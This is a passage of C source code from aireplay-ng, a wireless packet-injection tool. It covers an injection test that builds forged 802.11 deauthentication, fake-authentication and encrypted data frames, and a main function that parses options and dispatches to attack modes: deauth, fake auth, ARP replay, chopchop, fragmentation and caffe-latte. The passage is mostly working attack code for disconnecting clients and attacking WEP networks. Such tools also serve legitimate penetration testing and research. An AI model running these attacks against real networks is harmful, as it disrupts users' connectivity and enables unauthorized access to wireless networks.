                                        ap[i].pwr[j] = (signed)ri.ri_power;
                                    break;
                                }
                            }
                        }

                        gettimeofday( &tv2, NULL );
                        if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000)) //wait 300ms for an answer
                        {
                            break;
                        }
                        usleep(10);
                    }
                    printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
                    fflush(stdout);
                }
                for(j=0; j<REQUESTS; j++)
                    avg2 += ap[i].pwr[j];
                if(ap[i].found > 0)
                    avg2 /= ap[i].found;
                PCT; printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n", wi_get_rate(_wi_out)/1000000.0,
                            ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS));
            }

            if(!gotit && answers)
            {
                PCT; printf("Injection is working!\n\n");
                if(opt.fast) return 0;
                gotit=1;
            }
        }
    }
    if(opt.bittest)
        set_bitrate(_wi_out, RATE_1M);

    if( opt.s_face != NULL )
    {
        printf("\n");
        PCT; printf("Trying card-to-card injection...\n");

        /* sync both cards to the same channel, or the test will fail */
        if(wi_get_channel(_wi_out) != wi_get_channel(_wi_in))
        {
            wi_set_channel(_wi_out, wi_get_channel(_wi_in));
        }

        /* Attacks */
        for(i=0; i<5; i++)
        {
            k=0;
            /* random macs */
            opt.f_smac[0] = 0x00;
            opt.f_smac[1] = rand() & 0xFF;
            opt.f_smac[2] = rand() & 0xFF;
            opt.f_smac[3] = rand() & 0xFF;
            opt.f_smac[4] = rand() & 0xFF;
            opt.f_smac[5] = rand() & 0xFF;

            opt.f_dmac[0] = 0x00;
            opt.f_dmac[1] = rand() & 0xFF;
            opt.f_dmac[2] = rand() & 0xFF;
            opt.f_dmac[3] = rand() & 0xFF;
            opt.f_dmac[4] = rand() & 0xFF;
            opt.f_dmac[5] = rand() & 0xFF;

            opt.f_bssid[0] = 0x00;
            opt.f_bssid[1] = rand() & 0xFF;
            opt.f_bssid[2] = rand() & 0xFF;
            opt.f_bssid[3] = rand() & 0xFF;
            opt.f_bssid[4] = rand() & 0xFF;
            opt.f_bssid[5] = rand() & 0xFF;

            if(i==0) //attack -0
            {
                memcpy( h80211, DEAUTH_REQ, 26 );
                memcpy( h80211 + 16, opt.f_bssid, 6 );
                memcpy( h80211 +  4, opt.f_dmac,  6 );
                memcpy( h80211 + 10, opt.f_smac, 6 );

                opt.f_iswep = 0;
                opt.f_tods = 0; opt.f_fromds = 0;
                opt.f_minlen = opt.f_maxlen = 26;
            }
            else if(i==1) //attack -1 (open)
            {
                memcpy( h80211, AUTH_REQ, 30 );
                memcpy( h80211 +  4, opt.f_dmac, 6 );
                memcpy( h80211 + 10, opt.f_smac , 6 );
                memcpy( h80211 + 16, opt.f_bssid, 6 );

                opt.f_iswep = 0;
                opt.f_tods = 0; opt.f_fromds = 0;
                opt.f_minlen = opt.f_maxlen = 30;
            }
            else if(i==2) //attack -1 (psk)
            {
                memcpy( h80211, ska_auth3, 24);
                memcpy( h80211 +  4, opt.f_dmac, 6);
                memcpy( h80211 + 10, opt.f_smac,  6);
                memcpy( h80211 + 16, opt.f_bssid, 6);

                //iv+idx
                h80211[24] = 0x86;
                h80211[25] = 0xD8;
                h80211[26] = 0x2E;
                h80211[27] = 0x00;

                //random bytes (as encrypted data)
                for(j=0; j<132; j++)
                    h80211[28+j] = rand() & 0xFF;

                opt.f_iswep = 1;
                opt.f_tods = 0; opt.f_fromds = 0;
                opt.f_minlen = opt.f_maxlen = 24+4+132;
            }
            else if(i==3) //attack -3
            {
                memcpy( h80211, NULL_DATA, 24);
                memcpy( h80211 +  4, opt.f_bssid, 6);
                memcpy( h80211 + 10, opt.f_smac,  6);
                memcpy( h80211 + 16, opt.f_dmac, 6);

                //iv+idx
                h80211[24] = 0x86;
                h80211[25] = 0xD8;
                h80211[26] = 0x2E;
                h80211[27] = 0x00;

                //random bytes (as encrypted data)
                for(j=0; j<132; j++)
                    h80211[28+j] = rand() & 0xFF;

                opt.f_iswep = -1;
                opt.f_tods = 1; opt.f_fromds = 0;
                opt.f_minlen = opt.f_maxlen = 24+4+132;
            }
            else if(i==4) //attack -5
            {
                memcpy( h80211, NULL_DATA, 24);
                memcpy( h80211 +  4, opt.f_bssid, 6);
                memcpy( h80211 + 10, opt.f_smac,  6);
                memcpy( h80211 + 16, opt.f_dmac, 6);

                h80211[1] |= 0x04;
                h80211[22] = 0x0A;
                h80211[23] = 0x00;

                //iv+idx
                h80211[24] = 0x86;
                h80211[25] = 0xD8;
                h80211[26] = 0x2E;
                h80211[27] = 0x00;

                //random bytes (as encrypted data)
                for(j=0; j<7; j++)
                    h80211[28+j] = rand() & 0xFF;

                opt.f_iswep = -1;
                opt.f_tods = 1; opt.f_fromds = 0;
                opt.f_minlen = opt.f_maxlen = 24+4+7;
            }

            for(j=0; (j<(REQUESTS/4) && !k); j++) //try it 5 times
            {
                send_packet( h80211, opt.f_minlen );

                gettimeofday( &tv, NULL );
                while (1)  //waiting for relayed packet
                {
                    caplen = read_packet(packet, sizeof(packet), &ri);
                    if ( filter_packet(packet, caplen) == 0 ) //got same length and same type
                    {
                        if(!answers)
                        {
                            answers++;
                        }

                        if(i == 0) //attack -0
                        {
                            if( h80211[0] == packet[0] )
                            {
                                k=1;
                                break;
                            }
                        }
                        else if(i==1) //attack -1 (open)
                        {
                            if( h80211[0] == packet[0] )
                            {
                                k=1;
                                break;
                            }
                        }
                        else if(i==2) //attack -1 (psk)
                        {
                            if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 )
                            {
                                k=1;
                                break;
                            }
                        }
                        else if(i==3) //attack -2/-3/-4/-6
                        {
                            if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 )
                            {
                                k=1;
                                break;
                            }
                        }
                        else if(i==4) //attack -5/-7
                        {
                            if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 )
                            {
                               if( (packet[1] & 0x04) && memcmp( h80211+22, packet+22, 2 ) == 0 )
                               {
                                    k=1;
                                    break;
                               }
                            }
                        }
                    }

                    gettimeofday( &tv2, NULL );
                    if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 3*'atime' ms for an answer
                    {
                        break;
                    }
                    usleep(10);
                }
            }
            if(k)
            {
                k=0;
                if(i==0) //attack -0
                {
                    PCT; printf("Attack -0:           OK\n");
                }
                else if(i==1) //attack -1 (open)
                {
                    PCT; printf("Attack -1 (open):    OK\n");
                }
                else if(i==2) //attack -1 (psk)
                {
                    PCT; printf("Attack -1 (psk):     OK\n");
                }
                else if(i==3) //attack -3
                {
                    PCT; printf("Attack -2/-3/-4/-6:  OK\n");
                }
                else if(i==4) //attack -5
                {
                    PCT; printf("Attack -5/-7:        OK\n");
                }
            }
            else
            {
                if(i==0) //attack -0
                {
                    PCT; printf("Attack -0:           Failed\n");
                }
                else if(i==1) //attack -1 (open)
                {
                    PCT; printf("Attack -1 (open):    Failed\n");
                }
                else if(i==2) //attack -1 (psk)
                {
                    PCT; printf("Attack -1 (psk):     Failed\n");
                }
                else if(i==3) //attack -3
                {
                    PCT; printf("Attack -2/-3/-4/-6:  Failed\n");
                }
                else if(i==4) //attack -5
                {
                    PCT; printf("Attack -5/-7:        Failed\n");
                }
            }
        }

        if(!gotit && answers)
        {
            PCT; printf("Injection is working!\n");
            if(opt.fast) return 0;
            gotit=1;
        }
    }
    return 0;
}

int main( int argc, char *argv[] )
{
    int n, i, ret;

    /* check the arguments */

    memset( &opt, 0, sizeof( opt ) );
    memset( &dev, 0, sizeof( dev ) );

    opt.f_type    = -1; opt.f_subtype   = -1;
    opt.f_minlen  = -1; opt.f_maxlen    = -1;
    opt.f_tods    = -1; opt.f_fromds    = -1;
    opt.f_iswep   = -1; opt.ringbuffer  =  8;

    opt.a_mode    = -1; opt.r_fctrl     = -1;
    opt.ghost     =  0;
    opt.delay     = 15; opt.bittest     =  0;
    opt.fast      =  0; opt.r_smac_set  =  0;
    opt.npackets  =  1; opt.nodetect    =  0;
    opt.rtc       =  1; opt.f_retry	=  0;
    opt.reassoc   =  0;

/* XXX */
#if 0
#if defined(__FreeBSD__)
    /*
        check what is our FreeBSD version. injection works
        only on 7-CURRENT so abort if it's a lower version.
    */
    if( __FreeBSD_version < 700000 )
    {
        fprintf( stderr, "Aireplay-ng does not work on this "
            "release of FreeBSD.\n" );
        exit( 1 );
    }
#endif
#endif

    while( 1 )
    {
        int option_index = 0;

        static struct option long_options[] = {
            {"deauth",      1, 0, '0'},
            {"fakeauth",    1, 0, '1'},
            {"interactive", 0, 0, '2'},
            {"arpreplay",   0, 0, '3'},
            {"chopchop",    0, 0, '4'},
            {"fragment",    0, 0, '5'},
            {"caffe-latte", 0, 0, '6'},
            {"cfrag",       0, 0, '7'},
            {"test",        0, 0, '9'},
            {"help",        0, 0, 'H'},
            {"fast",        0, 0, 'F'},
            {"bittest",     0, 0, 'B'},
            {"migmode",     0, 0, '8'},
            {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
            {0,             0, 0,  0 }
        };

        int option = getopt_long( argc, argv,
                        "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:23456789HFBDR",
                        long_options, &option_index );

        if( option < 0 ) break;

        switch( option )
        {
            case 0 :

                break;

            case ':' :

                printf("\"%s --help\" for help.\n", argv[0]);
                return( 1 );

            case '?' :

                printf("\"%s --help\" for help.\n", argv[0]);
                return( 1 );

            case 'b' :

                if( getmac( optarg, 1 ,opt.f_bssid ) != 0 )
                {
                    printf( "Invalid BSSID (AP MAC address).\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'd' :

                if( getmac( optarg, 1, opt.f_dmac ) != 0 )
                {
                    printf( "Invalid destination MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 's' :

                if( getmac( optarg, 1, opt.f_smac ) != 0 )
                {
                    printf( "Invalid source MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'm' :

                ret = sscanf( optarg, "%d", &opt.f_minlen );
                if( opt.f_minlen < 0 || ret != 1 )
                {
                    printf( "Invalid minimum length filter. [>=0]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'n' :

                ret = sscanf( optarg, "%d", &opt.f_maxlen );
                if( opt.f_maxlen < 0 || ret != 1 )
                {
                    printf( "Invalid maximum length filter. [>=0]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'u' :

                ret = sscanf( optarg, "%d", &opt.f_type );
                if( opt.f_type < 0 || opt.f_type > 3 || ret != 1 )
                {
                    printf( "Invalid type filter. [0-3]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'v' :

                ret = sscanf( optarg, "%d", &opt.f_subtype );
                if( opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1 )
                {
                    printf( "Invalid subtype filter. [0-15]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'T' :
		ret = sscanf(optarg, "%d", &opt.f_retry);
		if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1)) {
			printf("Invalid retry setting. [1-65535]\n");
			printf("\"%s --help\" for help.\n", argv[0]);
			return(1);
		}
		break;

            case 't' :

                ret = sscanf( optarg, "%d", &opt.f_tods );
                if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 )
                {
                    printf( "Invalid tods filter. [0,1]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'f' :

                ret = sscanf( optarg, "%d", &opt.f_fromds );
                if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 )
                {
                    printf( "Invalid fromds filter. [0,1]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'w' :

                ret = sscanf( optarg, "%d", &opt.f_iswep );
                if(( opt.f_iswep != 0 && opt.f_iswep != 1 ) || ret != 1 )
                {
                    printf( "Invalid wep filter. [0,1]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'x' :

                ret = sscanf( optarg, "%d", &opt.r_nbpps );
                if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 )
                {
                    printf( "Invalid number of packets per second. [1-1024]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'o' :

                ret = sscanf( optarg, "%d", &opt.npackets );
                if( opt.npackets < 0 || opt.npackets > 512 || ret != 1 )
                {
                    printf( "Invalid number of packets per burst. [0-512]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'q' :

                ret = sscanf( optarg, "%d", &opt.delay );
                if( opt.delay < 1 || opt.delay > 600 || ret != 1 )
                {
                    printf( "Invalid number of seconds. [1-600]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'Q' :

                opt.reassoc = 1;
                break;

            case 'p' :

                ret = sscanf( optarg, "%x", &opt.r_fctrl );
                if( opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1 )
                {
                    printf( "Invalid frame control word. [0-65535]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'a' :

                if( getmac( optarg, 1, opt.r_bssid ) != 0 )
                {
                    printf( "Invalid AP MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'c' :

                if( getmac( optarg, 1, opt.r_dmac ) != 0 )
                {
                    printf( "Invalid destination MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'g' :

                ret = sscanf( optarg, "%d", &opt.ringbuffer );
                if( opt.ringbuffer < 1 || ret != 1 )
                {
                    printf( "Invalid replay ring buffer size. [>=1]\n");
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'h' :

                if( getmac( optarg, 1, opt.r_smac ) != 0 )
                {
                    printf( "Invalid source MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.r_smac_set=1;
                break;

            case 'e' :

                memset(  opt.r_essid, 0, sizeof( opt.r_essid ) );
                strncpy( opt.r_essid, optarg, sizeof( opt.r_essid )  - 1 );
                break;

            case 'j' :

                opt.r_fromdsinj = 1;
                break;

            case 'D' :

                opt.nodetect = 1;
                break;

            case 'k' :

                inet_aton( optarg, (struct in_addr *) opt.r_dip );
                break;

            case 'l' :

                inet_aton( optarg, (struct in_addr *) opt.r_sip );
                break;

            case 'y' :

                if( opt.prga != NULL )
                {
                    printf( "PRGA file already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                if( read_prga(&(opt.prga), optarg) != 0 )
                {
                    return( 1 );
                }
                break;

            case 'i' :

                if( opt.s_face != NULL || opt.s_file )
                {
                    printf( "Packet source already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.s_face = optarg;
                opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1);
                break;

            case 'r' :

                if( opt.s_face != NULL || opt.s_file )
                {
                    printf( "Packet source already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.s_file = optarg;
                break;

            case 'z' :

                opt.ghost = 1;

                break;

            case '0' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 0;

                for (i=0; optarg[i] != 0; i++)
                {
                    if (isdigit((int)optarg[i]) == 0)
                        break;
                }

                ret = sscanf( optarg, "%d", &opt.a_count );
                if( opt.a_count < 0 || optarg[i] != 0 || ret != 1)
                {
                    printf( "Invalid deauthentication count or missing value. [>=0]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case '1' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 1;

                for (i=0; optarg[i] != 0; i++)
                {
                    if (isdigit((int)optarg[i]) == 0)
                        break;
                }

                ret = sscanf( optarg, "%d", &opt.a_delay );
                if( opt.a_delay < 0 || optarg[i] != 0 || ret != 1)
                {
                    printf( "Invalid reauthentication delay or missing value. [>=0]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case '2' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 2;
                break;

            case '3' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 3;
                break;

            case '4' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 4;
                break;

            case '5' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 5;
                break;

            case '6' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 6;
                break;

            case '7' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 7;
                break;

            case '9' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 9;
                break;

            case '8' :

                if( opt.a_mode != -1 )
                {
                    printf( "Attack mode already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.a_mode = 8;
                break;

            case 'F' :

                opt.fast = 1;
                break;

            case 'B' :

                opt.bittest = 1;
                break;

            case 'H' :

                printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
                return( 1 );

            case 'R' :

                opt.rtc = 0;
                break;

            default : goto usage;
        }
    }

    if( argc - optind != 1 )
    {
    	if(argc == 1)
    	{
usage:
	        printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
        }
	    if( argc - optind == 0)
	    {
	    	printf("No replay interface specified.\n");
	    }
	    if(argc > 1)
	    {
    		printf("\"%s --help\" for help.\n", argv[0]);
	    }
        return( 1 );
    }

    if( opt.a_mode == -1 )
    {
        printf( "Please specify an attack mode.\n" );
   		printf("\"%s --help\" for help.\n", argv[0]);
        return( 1 );
    }

    if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen )
    {
        printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n",
                opt.f_minlen, opt.f_maxlen );
  		printf("\"%s --help\" for help.\n", argv[0]);
        return( 1 );
    }

    if ( opt.f_tods == 1 && opt.f_fromds == 1 )
    {
        printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" );
    }

    dev.fd_rtc = -1;

    /* open the RTC device if necessary */

#if defined(__i386__)
#if defined(linux)
    if( opt.a_mode > 1 )
    {
        if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 )
        {
            dev.fd_rtc = 0;
        }

        if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) )
        {
            dev.fd_rtc = 0;
        }
        if(opt.rtc == 0)
        {
            dev.fd_rtc = -1;
        }
        if(dev.fd_rtc > 0)
        {
            if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 )
            {
                perror( "ioctl(RTC_IRQP_SET) failed" );
                printf(
    "Make sure enhanced rtc device support is enabled in the kernel (module\n"
    "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" );
                close( dev.fd_rtc );
                dev.fd_rtc = -1;
            }
            else
            {
                if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 )
                {
                    perror( "ioctl(RTC_PIE_ON) failed" );
                    close( dev.fd_rtc );
                    dev.fd_rtc = -1;
                }
            }
        }
        else
        {
            printf( "For information, no action required:"
                    " Using gettimeofday() instead of /dev/rtc\n" );
            dev.fd_rtc = -1;
        }

    }
#endif /* linux */
#endif /* i386 */

    opt.iface_out = argv[optind];
    opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1);

    //don't open interface(s) when using test mode and airserv
    if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) )
    {
        /* open the replay interface */
        _wi_out = wi_open(opt.iface_out);
        if (!_wi_out)
            return 1;
        dev.fd_out = wi_fd(_wi_out);

        /* open the packet source */
        if( opt.s_face != NULL )
        {
            //don't open interface(s) when using test mode and airserv
            if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) )
            {
                _wi_in = wi_open(opt.s_face);
                if (!_wi_in)
                    return 1;
                dev.fd_in = wi_fd(_wi_in);
                wi_get_mac(_wi_in, dev.mac_in);
            }
        }
        else
        {
            _wi_in = _wi_out;
            dev.fd_in = dev.fd_out;

            /* XXX */
            dev.arptype_in = dev.arptype_out;
            wi_get_mac(_wi_in, dev.mac_in);
        }

        wi_get_mac(_wi_out, dev.mac_out);
    }

    /* drop privileges */
    if (setuid( getuid() ) == -1) {
		perror("setuid");
	}

    /* XXX */
    if( opt.r_nbpps == 0 )
    {
        if( dev.is_wlanng || dev.is_hostap )
            opt.r_nbpps = 200;
        else
            opt.r_nbpps = 500;
    }


    if( opt.s_file != NULL )
    {
        if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
        {
            perror( "open failed" );
            return( 1 );
        }

        n = sizeof( struct pcap_file_header );

        if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
        {
            perror( "fread(pcap file header) failed" );
            return( 1 );
        }

        if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
            dev.pfh_in.magic != TCPDUMP_CIGAM )
        {
            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
                             "TCPDUMP_MAGIC).\n", opt.s_file );
            return( 1 );
        }

        if( dev.pfh_in.magic == TCPDUMP_CIGAM )
            SWAP32(dev.pfh_in.linktype);

        if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
            dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
            dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
            dev.pfh_in.linktype != LINKTYPE_PPI_HDR )
        {
            fprintf( stderr, "Wrong linktype from pcap file header "
                             "(expected LINKTYPE_IEEE802_11) -\n"
                             "this doesn't look like a regular 802.11 "
                             "capture.\n" );
            return( 1 );
        }
    }

    //if there is no -h given, use default hardware mac
    if( maccmp( opt.r_smac, NULL_MAC) == 0 )
    {
        memcpy( opt.r_smac, dev.mac_out, 6);
        if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
        {
            printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
                    dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]);
        }
    }

    if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0)
    {
//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n");
        fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
                 " doesn't match the specified MAC (-h).\n"
                 "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
                 dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5],
                 opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] );
    }

    switch( opt.a_mode )
    {
        case 0 : return( do_attack_deauth()      );
        case 1 : return( do_attack_fake_auth()   );
        case 2 : return( do_attack_interactive() );
        case 3 : return( do_attack_arp_resend()  );
        case 4 : return( do_attack_chopchop()    );
        case 5 : return( do_attack_fragment()    );
        case 6 : return( do_attack_caffe_latte() );
        case 7 : return( do_attack_cfrag()       );
        case 8 : return( do_attack_migmode()     );
        case 9 : return( do_attack_test()        );
        default: break;
    }

    /* that's all, folks */

    return( 0 );
}
